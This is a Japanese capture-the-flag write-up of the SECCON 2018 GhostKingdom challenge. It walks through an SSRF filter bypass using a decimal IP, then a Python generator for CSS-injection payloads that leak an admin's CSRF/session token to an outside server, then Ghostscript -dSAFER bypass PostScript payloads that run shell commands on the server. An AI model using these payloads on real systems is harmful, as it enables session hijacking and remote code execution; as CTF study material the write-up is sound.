SECCON 2018 Quals - GhostKingdom
[更新履歴]
- 2018/12/18 19:40
idコマンド実行時の画像のuid/gid/groupsをマスク化
問題文
http://ghostkingdom.pwn.seccon.jp/FLAG/
上記のURLにアクセスすると、以下の表示。
FLAG is somewhere in this folder. GO TO TOP
TOP画面は以下。
writeup
調査
Create new user
リンクからユーザ作成してログインすると、メニュー画面が表示される。
メニュー画面には以下3つの機能が表示されている。
- Message to admin
- Take a screenshot
- Upload image
但し、Upload imageは、* Only for users logged in from the local network
とのことで、使用できない。残り2つの機能を調査する。
Message to admin
Normal
とEmergency
を選択するラジオボタンと、Message
の入力項目がある。
Preview
ボタンを押下すると、プレビュー画面に遷移する。
Emergency
を選択していると、メッセージを強調するスタイルが適用される。
プレビュー画面のURLにはcss
パラメータが付いている。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=aaaa&action=msgadm2
css
パラメータはBASE64エンコード文字列のように見えるため、復号してみる。
root@kali:~# echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -d span{background-color:red;color:yellow}
強調するスタイルは、css
パラメータでセットしているようだ。つまり任意にセット可能。
プレビュー画面の後にSend to admin
ボタンを押下するとadminにメッセージ送信が成功したメッセージが表示される。
Take a screenshot
URLを入力して、Take a Screenshot
ボタンを押下すると、URLにアクセスしてScreenshotを取得して表示してくれる。
file:///etc/passwd
を入力してみるがInvalid URL!
の表示。
http://localhost/
を入力すると、You can not use URLs that contain the following keywords: 127, ::1, local
の表示。
へー、ローカルアクセスは塞がれているのか、なるほど(意味深
Stage1
まずは、Take a screenshotのローカルアクセスの制約を突破する。
127, ::1, local
しかフィルタしていないとすれば、IPアドレスの指定方法を変えれば突破できそうだ。
IPアドレス値・数値(2,10,16進数)変換ツール -IPv46 – IPアドレス(CIDR)の範囲確認・変換サイト
上記サイトを使用して127.0.0.1
を10進数値に変換すると2130706433
になる。
http://2130706433/
のScreenshotを取得すると成功。
Upload imageに飛べるか確認するため、試しにhttp://2130706433/?action=menu
を入力するが、admin側でもログインが必要のようだ。幸い、ログイン時にuser
とpass
をクエリパラメータで送信するI/Fのため、http://2130706433/?user=<ユーザID>&pass=<パスワード>&action=login
を入力してadminにログインさせてあげればよい。
その後、再度http://2130706433/?action=menu
を入力すると、メニュー画面のScreenshotを取得できた。
ただ、Upload imageが有効なメニュー画面のScreenshotだけあっても意味がない。 このログインしている状態のadminのCookieを窃取して、自分でUpload imageを利用したい。
そこで、Message to adminにて、CSSが任意に指定できる機能を使用する。
プレビュー画面には、hiddenのcsrf
項目があるが、valueを見るとCookieのCGISESSID
と同値。
よって、プレビュー画面でCSS Injectionを使用してcsrf
項目のvalueを取得できれば、adminに成りすましてメニュー画面の表示やUpload imageを利用することができる。
CSS Injectionの攻撃コードを生成するスクリプトを作成する。
import base64 CHARLIST = "0123456789" + "abcdef" URL = "http://2130706433/?msg=aaa&action=msgadm2&css=" known_csrf = "ff1de841cd4cb1c627ead5" buf = "" for c in CHARLIST: buf += """input[name="csrf"][value^="{}"] {{ background: url(http://myserver/{}); }}""".format(known_csrf + c, known_csrf + c) print(buf) print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
実行すると、CSS Injectionの攻撃コードと、それをBASE64エンコードしてcss
パラメータにセットしたURLが生成される。
input[name="csrf"][value^="0"] { background: url(http://myserver/0); }input[name="csrf"][value^="1"] { background: url(http://myserver/1); }input[name="csrf"][value^="2"] { background: url(http://myserver/2); }input[name="csrf"][value^="3"] { background: url(http://myserver/3); }input[name="csrf"][value^="4"] { background: url(http://myserver/4); }input[name="csrf"][value^="5"] { background: url(http://myserver/5); }input[name="csrf"][value^="6"] { background: url(http://myserver/6); }input[name="csrf"][value^="7"] { background: url(http://myserver/7); }input[name="csrf"][value^="8"] { background: url(http://myserver/8); }input[name="csrf"][value^="9"] { background: url(http://myserver/9); }input[name="csrf"][value^="a"] { background: url(http://myserver/a); }input[name="csrf"][value^="b"] { background: url(http://myserver/b); }input[name="csrf"][value^="c"] { background: url(http://myserver/c); }input[name="csrf"][value^="d"] { background: url(http://myserver/d); }input[name="csrf"][value^="e"] { background: url(http://myserver/e); }input[name="csrf"][value^="f"] { background: url(http://myserver/f); } http://2130706433/?msg=aaa&action=msgadm2&css=aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMCJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8wKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvMSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSIyIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzIpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8zKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI1Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzUpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iNiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci82KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjciXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNyk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI4Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzgpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iOSJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci85KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvYSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJiIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2IpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iYyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9jKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvZCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJlIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2UpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iZiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9mKTsKfQ==
このURLを使用してScreenshotをとると、自サーバにcsrf
の先頭1文字に対応したアクセスが飛んでくるはずである。
XXX.XXX.XXX.XXX - - [27/Oct/2018:17:56:59 +0900] "GET /f HTTP/1.1" 404 503 "http://127.0.0.1/?msg=aaa&action=msgadm2&css=(snip)" "SECCON-CTF-ONLINE-2018--FROM-YYY.YYY.YYY.YYY"
飛んできた。csrf
の先頭1文字はf
のようだ。
これを繰り返してcsrf
を全桁入手し、Cookieにセットしてメニュー画面を表示する。
Upload imageが有効なメニュー画面を表示できた。
Stage2
Upload imageに遷移すると以下の画面。
試しに適当な画像をアップロードしてみる。
GIFに変換できるようだ。
さて、ここでURLを見てみる。
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi
ghostとMagick・・・GhostscriptとImageMagickか!
Ghostscript の -dSAFER オプションの脆弱性に関する注意喚起
PoCのコードはこちら。
Ghostscript - Multiple Vulnerabilities
試しに、上記ページから以下のコードを取得して拡張子jpgで保存してアップロードしてみる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
id
コマンドを実行できた!ビンゴ!
次に、/FLAG/配下のファイルを確認する。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
最後に、FLAGflagF1A8.txtをcatする。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
フラグゲット!
SECCON{CSSinjection+GhostScript/ImageMagickRCE}